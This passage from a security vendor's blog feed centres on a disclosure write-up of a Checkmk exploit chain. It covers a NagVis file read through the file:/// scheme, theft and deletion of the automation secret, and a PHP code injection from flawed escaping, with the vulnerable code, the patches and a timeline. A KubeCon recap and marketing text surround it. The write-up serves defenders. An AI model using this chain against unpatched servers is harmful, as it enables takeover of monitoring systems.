focuses on minimizing risk and maximizing output instead of remediation. We uniquely detect issues and offer contextual help so developers can resolve them quickly – always getting the right information at the right time and in the right place. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here is a look at how it works.&lt;/p&gt;&lt;h2&gt;Quality Gate and PR analysis&lt;/h2&gt;&lt;p&gt;As complexity grows and software continues to evolve, developers inevitably touch existing code to make new changes. As every line of updated code goes through a Quality Gate, old code gets progressively remediated in the process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Sonar’s Pull Request (PR) analysis and decoration, developers can make sure their code is at the highest quality before it is merged. They can optionally fail their pipeline if the Quality Gate does not pass. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Project reports give development teams the current Quality Gate status and any failing conditions, plus the major metric values on new code. With a common understanding and carefully defined measures, code quality is maintained and projects are delivered on time.&lt;/p&gt;&lt;h2&gt;Ready to start maximizing your time?&lt;/h2&gt;&lt;p&gt;Improving efficiencies and code quality in today’s business climate, especially for under resourced or overburdened development teams, can be difficult. Sonar can help. Our solutions will enable you to maximize your time so you can focus on delivering better products and meeting critical deadlines.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Checkmk: Remote Code Execution by Chaining Multiple Bugs (3/3)]]></title><description><![CDATA[This last article of the series determines how an attacker can chain two further vulnerabilities to fully take over a Checkmk server.]]></description><link>https://www.sonarsource.com/blog/checkmk-rce-chain-3</link><guid isPermaLink="false">fd12ff18-ba15-5440-8748-591b7564c26c</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 15 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the third and last article in the &lt;em&gt;Checkmk - Remote Code Execution by Chaining Multiple Bugs&lt;/em&gt; series (&lt;a href=&quot;https://blog.sonarsource.com/checkmk-rce-chain-1/&quot;&gt;first article&lt;/a&gt;, &lt;a href=&quot;https://blog.sonarsource.com/checkmk-rce-chain-2/&quot;&gt;second article&lt;/a&gt;). Within the series of articles, we take a detailed look at multiple vulnerabilities we identified in Checkmk and its NagVis integration, which can be chained together by an unauthenticated, remote attacker to fully take over the server running a vulnerable version of Checkmk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the last article, we evaluated the ability of an attacker to forge arbitrary LQL queries. This allows the attacker to exfiltrate monitoring data and issue external Nagios commands, which can be leveraged to delete arbitrary files. We could demonstrate that this ability could be combined with a file race condition to bypass the authentication of the NagVis component. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this third and last article, we complete our deep dive into the technical details of the vulnerability chain. At this point, the attacker has gained access to the NagVis component. Based on this, we will outline how the attacker can escalate this access to the Checkmk GUI itself by exploiting an authenticated file read vulnerability in NagVis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we take a detailed look at an authenticated code injection vulnerability in Checkmk, which forms the final step to remote code execution.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;We start this section by briefly recapping the vulnerabilities and exploitation chain. After this, we look at the arbitrary file read vulnerability in NagVis and the code injection vulnerability in Checkmk.&lt;/p&gt;&lt;h3&gt;Exploitation Chain&lt;/h3&gt;&lt;p&gt;As a reminder, the following picture summarizes the exploitation chain enabling an unauthenticated attacker to gain remote code execution:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/58c9af12-5aba-4ba4-8b00-5d6c57d23180/Checkmk-Remote%20Code%20Execution_1.png&quot; /&gt;&lt;p&gt;In the last two articles, we covered the first two vulnerabilities (1, 2) and an arbitrary file deletion, which can be exploited by an unauthenticated attacker to gain access to the NagVis component. Within this article, we determine how an attacker can escalate to the Checkmk automation user by exploiting an authenticated arbitrary file read in NagVis (3). With access to the Checkmk automation user, an attacker can ultimately gain code execution by exploiting a code injection vulnerability in Checkmk’s watolib (4):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3c94a175-19b0-4b4b-b7a2-0079e07542ba/Checkmk-Remote%20Code%20Execution_2.png&quot; /&gt;&lt;h3&gt;Arbitrary File Read in NagVis (CVE-2022-46945)&lt;/h3&gt;&lt;p&gt;After an attacker has gained access to NagVis, the exposed attack surface is greatly increased because authenticated endpoints can now be accessed. For one of these endpoints, our automatic scan with &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt; discovered an interesting path injection vulnerability:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?issues=AYRRCmHFmKnN7I1rUBls&amp;open=AYRRCmHFmKnN7I1rUBls&amp;id=SonarSourceResearch_checkmk-blogpost&quot;&gt;Try it by yourself in SonarCloud!&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The endpoint is implemented in the &lt;code&gt;CoreModGeneral&lt;/code&gt; class. This class offers different actions which an authenticated user can trigger. One of these actions is called &lt;code&gt;getHoverUrl&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;share/nagvis/htdocs/server/core/classes/CoreModGeneral.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class CoreModGeneral extends CoreModule {
   ...
   public function handleAction() {
       $sReturn = &apos;&apos;;

       if($this-&gt;offersAction($this-&gt;sAction)) {
           switch($this-&gt;sAction) {
               ...
               case &apos;getHoverUrl&apos;:
                   $sReturn = $this-&gt;getHoverUrl();
               break;
           ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Within the &lt;code&gt;getHoverUrl&lt;/code&gt; method, &lt;code&gt;getCustomOptions&lt;/code&gt; is called to retrieve user-provided GET and POST parameters. In this case, the parameter &lt;code&gt;url&lt;/code&gt; is retrieved, which is supposed to be an array containing URLs. For each provided URL, a new &lt;code&gt;NagVisHoverUrl&lt;/code&gt; object is created. The response, which is stored in &lt;code&gt;$arrReturn&lt;/code&gt;, contains the requested URL (&lt;code&gt;url&lt;/code&gt;) as well as the string representation of the &lt;code&gt;NagVisHoverUrl&lt;/code&gt; object (&lt;code&gt;code&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;share/nagvis/htdocs/server/core/classes/CoreModGeneral.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   private function getHoverUrl() {
       $arrReturn = Array();

       // Parse view specific uri params
       $aOpts = $this-&gt;getCustomOptions(Array(&apos;url&apos; =&gt; MATCH_STRING_URL));

       foreach($aOpts[&apos;url&apos;] AS $sUrl) {
           $OBJ = new NagVisHoverUrl($this-&gt;CORE, $sUrl);
           $arrReturn[] = Array(&apos;url&apos; =&gt; $sUrl, &apos;code&apos; =&gt; $OBJ-&gt;__toString());
       }

       $result = json_encode($arrReturn);
       ...
       return $result;
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Within the constructor of the &lt;code&gt;NagVisHoverUrl&lt;/code&gt; class, the method &lt;code&gt;readHoverUrl&lt;/code&gt; is called.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This method uses &lt;code&gt;file_get_contents&lt;/code&gt; to retrieve the requested URL:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;share/nagvis/htdocs/server/core/classes/NagVisHoverUrl.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   private function readHoverUrl() {
       ...
       if(!$content = file_get_contents($this-&gt;url)) {
           throw new NagVisException(l(&apos;couldNotGetHoverUrl&apos;, Array(&apos;URL&apos; =&gt; $this-&gt;url)));
       }
       ...
       $this-&gt;code = $content;
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since an authenticated user can fully control the URLs provided, the &lt;code&gt;getHoverUrl&lt;/code&gt; action can be used to read arbitrary files by using the &lt;code&gt;file:///&lt;/code&gt; scheme.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability further increases the attacker’s ability to read arbitrary files accessible by the webserver user. The impact depends on the presence of accessible files with sensitive content. Unfortunately, for automation users, these files exist.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Checkmk Automation Users&lt;/h3&gt;&lt;p&gt;Checkmk provides two types of user accounts: normal users and automation users. A normal user has a regular password and can log in to the GUI. An automation user can be used as a convenient way to automate certain activities that would normally be done via the GUI. Instead of a regular password, an automation user is authenticated by an &lt;em&gt;automation secret&lt;/em&gt;. This secret can usually not be used to log in to the GUI but is provided as an additional GET parameter to the accessed endpoint.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The default automation user is called &lt;code&gt;automation&lt;/code&gt; and is preconfigured with a random secret. The hash of this secret and the hash of regular passwords are by default stored in an &lt;code&gt;htpasswd&lt;/code&gt; file:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Though, the secret is additionally stored in a plaintext file, which is called &lt;code&gt;automation.secret&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the file contains the plaintext secret, the aforementioned arbitrary file read vulnerability can be leveraged by an attacker to retrieve it without requiring to crack the hash stored in the &lt;code&gt;htpasswd&lt;/code&gt; file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although this secret can be used to access authenticated endpoints, it cannot be used to log in to the GUI with it. Let’s have a look at the corresponding code. When a user logs in, the function &lt;code&gt;check_credentials&lt;/code&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/userdb/htpasswd.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   def check_credentials(self, user_id: UserId, password: str) -&gt; CheckCredentialsResult:
       ...
       if self._is_automation_user(user_id):
           raise MKUserError(None, _(&quot;Automation user rejected&quot;))
       ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As we can see, the function &lt;code&gt;_is_automation_user&lt;/code&gt; checks if the provided &lt;code&gt;user_id&lt;/code&gt; corresponds to an automation user. If that is the case, an error is raised, and the GUI login fails. This is what the &lt;code&gt;_is_automation_user&lt;/code&gt; function looks like:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/userdb/htpasswd.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;   def _is_automation_user(self, user_id: UserId) -&gt; bool:
       return Path(cmk.utils.paths.var_dir, &quot;web&quot;, str(user_id), &quot;automation.secret&quot;).is_file()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Accordingly, the presence of the &lt;code&gt;automation.secret&lt;/code&gt; file is used in order to determine if the user is an automation user.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By leveraging the Linefeed Injection vulnerability and the Nagios &lt;code&gt;PROCESS_FILE&lt;/code&gt; command outlined in the &lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;second article&lt;/a&gt;, an attacker has not only the ability to read arbitrary files but also to delete them. This means that the attacker can delete the &lt;code&gt;automation.secret&lt;/code&gt; file after reading it. Since the login process verifies the provided credentials via the &lt;code&gt;htpasswd&lt;/code&gt; file and the &lt;code&gt;automation.secret&lt;/code&gt; file is not present, the automation user is assumed to be a normal user, and access to the GUI is granted:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/642df998-1cc9-4be2-8d77-0ff229927ab7/Checkmk-Remote%20Code%20Execution_3.png&quot; /&gt;&lt;p&gt;After the successful login, an attacker can exploit an authenticated code injection vulnerability.&lt;/p&gt;&lt;h3&gt;Code Injection watolib auth.php (CVE-2022-46836)&lt;/h3&gt;&lt;p&gt;In order to seamlessly integrate NagVis into Checkmk, a file called &lt;code&gt;auth.php&lt;/code&gt; is generated, which contains information about users, roles, and groups present in the Checkmk GUI. This file is updated when the corresponding data changes (e.g., user settings) by a function called &lt;code&gt;_create_auth_file&lt;/code&gt;. This function loads the required data and calls &lt;code&gt;_create_php_file&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/watolib/auth_php.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _create_auth_file(callee, users=None):
   if users is None:
       users = userdb.load_users()
   ...
   _create_php_file(callee, users, get_role_permissions(), groups)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Within &lt;code&gt;_create_php_file&lt;/code&gt; the content of the &lt;code&gt;auth.php&lt;/code&gt; file is created and written to disk. In order to format the user data, the function &lt;code&gt;_format_php&lt;/code&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/watolib/auth_php.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _create_php_file(callee, users, role_permissions, groups):
   # Do not change WATO internal objects
   nagvis_users = copy.deepcopy(users)
   ...
   content = &quot;&quot;&quot;&lt;?php
// Created by Multisite UserDB Hook (%s)
global $mk_users, $mk_roles, $mk_groups;
$mk_users   = %s;
...
?&gt;
&quot;&quot;&quot; % (
       callee,
       _format_php(nagvis_users),
       ...
   )

   store.makedirs(_auth_php().parent)
   store.save_text_to_file(_auth_php(), content)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;_format_php&lt;/code&gt; converts the given data into the corresponding PHP representation. Data of type str is inserted into a single-quoted &lt;code&gt;string&lt;/code&gt;. Single quotes within the data itself are escaped by prepending a backslash (&lt;code&gt;\&lt;/code&gt;) to prevent the string context can be escaped:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/watolib/auth_php.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _format_php(data, lvl=1):
   s = &quot;&quot;
   ...
   elif isinstance(data, str):
       s += &quot;&apos;%s&apos;&quot; % data.replace(&quot;&apos;&quot;, &quot;\\&apos;&quot;)
   ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The replacement does not take into account that the data can contain a backslash itself, followed by a single quote (&lt;code&gt;\&amp;#x27;&lt;/code&gt;). When encountering this sequence, the single quote is prepended by a backslash, which is escaped by the already present backslash (&lt;code&gt;\\&amp;#x27;&lt;/code&gt;). This way the string context can be escaped and arbitrary PHP code can be injected into the file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can exploit the vulnerability after authenticating with the default automation user and then changing the profile settings. After the &lt;code&gt;auth.php&lt;/code&gt; file is automatically updated, it contains the attacker-injected PHP code. The attacker now only needs to access the NagVis component, which includes the &lt;code&gt;auth.php&lt;/code&gt; file and executes the injection code.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The arbitrary file read vulnerability was &lt;a href=&quot;https://github.com/NagVis/nagvis/commit/71aba7f46f79d846e1df037f165d206a2cd1d22a&quot;&gt;patched&lt;/a&gt; in NagVis 1.9.34, which was &lt;a href=&quot;https://github.com/tribe29/checkmk/commit/84712e97760f6ecd9383b12b1f2b009377aad139&quot;&gt;integrated&lt;/a&gt; into Checkmk version 2.1.0p11 by limiting the requested scheme to &lt;code&gt;http&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;nagvis/share/nagvis/htdocs/server/core/classes/NagVisHoverUrl.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;  private function readHoverUrl() {
      ...
      $aUrl = parse_url($this-&gt;url);
      if(!isset($aUrl[&apos;scheme&apos;]) || $aUrl[&apos;scheme&apos;] == &apos;&apos; || ($aUrl[&apos;scheme&apos;] != &apos;http&apos; &amp;&amp; $aUrl[&apos;scheme&apos;] != &apos;https&apos;))
          throw new NagVisException(l(&apos;problemReadingUrl&apos;, Array(&apos;URL&apos; =&gt; $this-&gt;url, &apos;MSG&apos; =&gt; l(&apos;Not allowed url&apos;))));
      ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;a href=&quot;https://checkmk.com/werk/14383&quot;&gt;code injection vulnerability&lt;/a&gt; was patched with Checkmk version 2.1.0p11 by escaping both single-quote characters and backslash characters (&lt;a href=&quot;https://github.com/tribe29/checkmk/commit/a8a47e0269d21a26608a2051232c8914348101aa&quot;&gt;commit&lt;/a&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/watolib/utils.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def format_php(data: object, lvl: int = 1) -&gt; str:
   &quot;&quot;&quot;Format a python object for php&quot;&quot;&quot;
   s = &quot;&quot;
   ...
   elif isinstance(data, str):
       s += &quot;&apos;%s&apos;&quot; % re.sub(r&quot;(&apos;|\\)&quot;, r&quot;\\\1&quot;, data)
   ...&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-22&lt;/td&gt;&lt;td&gt;We report all issues to Checkmk.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-23&lt;/td&gt;&lt;td&gt;Vendor confirms all issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-29&lt;/td&gt;&lt;td&gt;NagVis patched version 1.9.34 is released.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-30&lt;/td&gt;&lt;td&gt;Checkmk version 2.1.0p11 is released containing NagVis 1.9.34.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this last article in the series, we detailed an authenticated, arbitrary file read vulnerability in NagVis, which enables an attacker to gain access to the Checkmk automation user. We further took a look at how Checkmk identifies automation users. This revealed that an attacker could leverage the arbitrary file deletion once more to gain access to the Checkmk GUI. This access can further be leveraged to exploit a code injection vulnerability in Checkmk’s watolib.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The arbitrary file read vulnerability is caused by a missing validation of the URL scheme. The impact of this vulnerability is greatly increased because the automation secret is stored in plaintext. Whether it be a file or a database, sensitive values, which can directly be used by an attacker to gain more privileges, should not be stored in plaintext. These sensitive values can for example be passwords, authentication tokens, or password reset tokens.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Dynamic code generation, like creating PHP files, can be very dangerous and should be avoided if possible. There is no built-in method that escapes values in the context of code generation for another language. Thus a custom implementation is required, and some cases can easily be missed. The outlined code injection vulnerability showed that a single mistake in the escaping implementation directly leads to code execution.&lt;/p&gt;&lt;h2&gt;Series Wrap-Up&lt;/h2&gt;&lt;p&gt;This article completes the &lt;em&gt;Checkmk - Remote Code Execution by Chaining Multiple Bugs&lt;/em&gt; series. The series showcased how an attacker successively gained more abilities and access by chaining one vulnerability after another.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In general, web applications have become more secure in the past few years. Vulnerabilities instantly leading to remote code execution are far less common. This requires attackers to leverage less impactful vulnerabilities and chain them together. These chains are often only possible because the security precautions tend to be lower the higher the level of authentication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The assumption that an attacker lacks a particular ability is dangerous and can quickly lead to a domino effect when an initial security boundary is breached. It is essential to apply security on all layers. Even one seemingly unimportant, additional security check can mitigate one link in an exploit chain and thus break the whole chain.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is why Sonar believes in the &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code approach&lt;/a&gt;, which embeds security as an integral part of the development. Handling security issues should not be a painful aftermath. Directly addressing and preventing these when the code is being developed saves time, work, and frustration. Our unique Clean as You Code approach addresses issues upfront, and no new issues end up in the released code. If you haven’t discovered the power of the Sonar solution yet, &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;you can learn more here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to highlight the professional reaction of the Checkmk team. There are security issues in each and every software. The difference is how these issues are dealt with. All of our reported issues were quickly verified, handled with absolute transparency, and fixed by providing comprehensive patches. Thank you!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-1/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (2/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[A Look Back at KubeCon 2022]]></title><description><![CDATA[The Sonar Team had a great time sponsoring KubeCon 2022 in Detroit. Read about our takeaways from the event...]]></description><link>https://www.sonarsource.com/blog/a-look-back-at-kubecon-2022</link><guid isPermaLink="false">aa32d081-7566-5377-8ccb-a15d9b27e745</guid><dc:creator><![CDATA[Clint Cameron]]></dc:creator><pubDate>Thu, 10 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Welcome to Detroit!&lt;/h3&gt;&lt;p&gt;SonarSource attended our first &lt;a href=&quot;https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/&quot;&gt;KubeCon&lt;/a&gt; from Oct. 25-28. The event was located in Detroit and hosted by the Cloud Native Computing Foundation (&lt;a href=&quot;https://www.cncf.io/&quot;&gt;CNCF&lt;/a&gt;) which is part of the &lt;a href=&quot;https://www.linuxfoundation.org/&quot;&gt;Linux Foundation&lt;/a&gt;. It was obvious that the city was in full support of the show as the event staff was very welcoming and attentive. I had not personally been to Detroit before and it was interesting getting to know the downtown vibe. &lt;/p&gt;&lt;p&gt;As events go, this was on the larger side with over 7k attendees and more than 300 sponsors. Because it was our first time at KubeCon we kept things simple. We took a base squad of myself (marketing) and our product manager responsible for security. &lt;/p&gt;&lt;h3&gt;Folks Still Love Sonar&lt;/h3&gt;&lt;p&gt;As always, several existing users dropped by the booth to say hello and check out our new branding. It’s always fun and rewarding to hear about how folks are integrating Sonar into their workflows and churning out some cool applications. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e1ec0f1b-8f6c-43df-bfb4-529f42279112/Alex_KubeCon_Booth_2022.jpeg&quot; /&gt;&lt;p&gt;&lt;em&gt;Behold the Home of Clean Code!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;We were there to showcase &lt;a href=&quot;https://www.sonarsource.com/solutions/infrastructure-as-code/&quot;&gt;our support&lt;/a&gt; for cloud native and IaC technologies. Over the past year, we’ve quietly innovated and added a bunch of new rules to support CloudFormation, Terraform, Kubernetes and serverless functions. &lt;/p&gt;&lt;h3&gt;Cloud Native Solves Traditional Challenges; It Also Comes with Challenges&lt;/h3&gt;&lt;p&gt;Overall, there was a lot of excitement and a positive ‘hum’ about cloud native and the benefits it’s delivering to the developer and DevOps world. We noted a couple of recurring themes that stood out to us over the course of the event.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cloud native is removing blockers and allowing teams to achieve cool things in new ways.&lt;/li&gt;&lt;li&gt;Security is very top of mind for DevOps teams. This need comes from several domains: the cloud native apps themselves, the infrastructure(s) and the packaging/deployment side. &lt;/li&gt;&lt;li&gt;There are a lot of vendors in this space right now. This is to be expected as cloud native is still relatively new and growing. There are some established companies bringing solutions as well as new entrants with very focused value propositions e.g., observability. Certainly, there will be some consolidation down the road and it will be interesting to see how things play out. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;On Thursday, everyone could take part in an evening celebration that featured a ballroom with games and a DJ, a beer tent, dinner with a 360 view from the 25th floor and a river boat with gambling for fun!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/61bc4a21-468f-4521-ab68-fb0edd14db62/Alex-Clint_KubeCon_Boat_2022.jpg&quot; /&gt;&lt;p&gt;&lt;em&gt;The Sonar attendees taking in the riverboat views&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;That’s a Wrap!&lt;/h3&gt;&lt;p&gt;All in all, we had a great time learning about how cloud native technologies are advancing application development and ushering in a disruptive, new era. The CNCF did a great job bringing everyone together for a week of sharing, discussion and communication. &lt;/p&gt;&lt;p&gt;PS - the &lt;a href=&quot;https://www.businessinsider.com/delta-parallel-reality-board-detroit-displays-personalized-flight-information-2022-7&quot;&gt;Parallel Reality&lt;/a&gt; tech at the Detroit Airport Delta hub is pretty cool!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/62e554c4-0055-4947-9203-7a64036aa058/Airport_Display_KubeCon_2022.jpeg&quot; /&gt;&lt;p&gt;&lt;em&gt;Detailed flight info for the author’s eyes only!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks for reading and happy, clean, cloud native coding!&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/iac_code_quality/&quot;&gt;Clean your Infrastructure Code with Sonar&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/power-of-clean-code/&quot;&gt;The Power of Clean Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sonarqube-9.7-is-here/&quot;&gt;SonarQube 9.7 is here!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Checkmk: Remote Code Execution by Chaining Multiple Bugs (2/3)]]></title><description><![CDATA[The second article of this series outlines how an attacker can leverage the ability to forge arbitrary LQL queries to gain access to the NagVis component.]]></description><link>https://www.sonarsource.com/blog/checkmk-rce-chain-2</link><guid isPermaLink="false">a21b6a80-5406-5e8b-bc5e-1dc39a4a3d85</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 08 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the second of three articles in the &lt;em&gt;Checkmk - Remote Code Execution by Chaining Multiple Bugs&lt;/em&gt; series (&lt;a href=&quot;https://blog.sonarsource.com/checkmk-rce-chain-1/&quot;&gt;first article&lt;/a&gt;). The series of articles outlines the results of our effort to help secure the open-source world and better understand real-world vulnerabilities by auditing the open-source edition of Checkmk. Our research resulted in the discovery of multiple vulnerabilities in Checkmk and its NagVis integration, which can be chained together by an unauthenticated, remote attacker to fully take over the server running a vulnerable version of Checkmk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the &lt;a href=&quot;https://blog.sonarsource.com/checkmk-rce-chain-1/&quot;&gt;first article&lt;/a&gt; of the series, we started by getting an overview of all identified vulnerabilities and got a basic understanding of the Checkmk architecture. Furthermore, we determined the severe impact of chaining the identified vulnerabilities together. We also deep-dived into the technical details of the first two vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this second article, we will have a more detailed look at the LQL interface and derive the impact of an attacker’s ability to forge arbitrary queries. We will then look at Checkmk’s NagVis integration and how some minor implementation differences between Checkmk and NagVis enable an attacker to bypass the NagVis authentication.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;We start this section by briefly recapping the vulnerabilities and exploitation chain. After this, we focus on the LQL interface and outline how an attacker can leverage it to exfiltrate monitoring data and bypass the NagVis 